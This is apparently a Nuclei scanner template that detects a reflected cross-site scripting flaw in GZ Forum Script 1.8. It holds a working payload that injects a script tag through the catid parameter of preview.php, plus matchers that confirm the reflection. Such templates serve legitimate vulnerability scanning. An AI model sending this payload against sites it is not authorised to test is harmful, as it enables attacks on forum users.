id: gz-forum-script-xss

info:
  name: GZ Forum Script 1.8 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Cross-site scripting (XSS) is an attack in which an attacker injects malicious executable scripts into the code of a trusted application or website. Attackers often initiate an XSS attack by sending a malicious link to a user and enticing the user to click it.
  reference:
    - https://www.exploit-db.com/exploits/51559
    - https://gzscripts.com/gz-forum-script.html
  classification:
    cwe-id: CWE-80
  metadata:
    verified: true
    max-request: 1
  tags: gzforum,xss,unauth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/preview.php?controller=Load&action=index&catid=moztj%22%3E%3Cscript%3Ealert(document.domain)%3C%2fscript%3Ems3ea&down_up=a"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "><script>alert(document.domain)</script>") && contains(body, "New Topic")'
          - 'contains(content_type, "text/html")'
        condition: and
# digest: 4a0a00473045022100c0e62b0fb3b9e1e84b6df9d8e2c967669f2885fa8d7e5f307be99ceb12ccc7d6022066b2b02d1a530bea3c27b9d789d5a83cce26d05a9a8f8c2d59999d4e0cdc3fb7:922c64590222798bb761d5b6d8e72950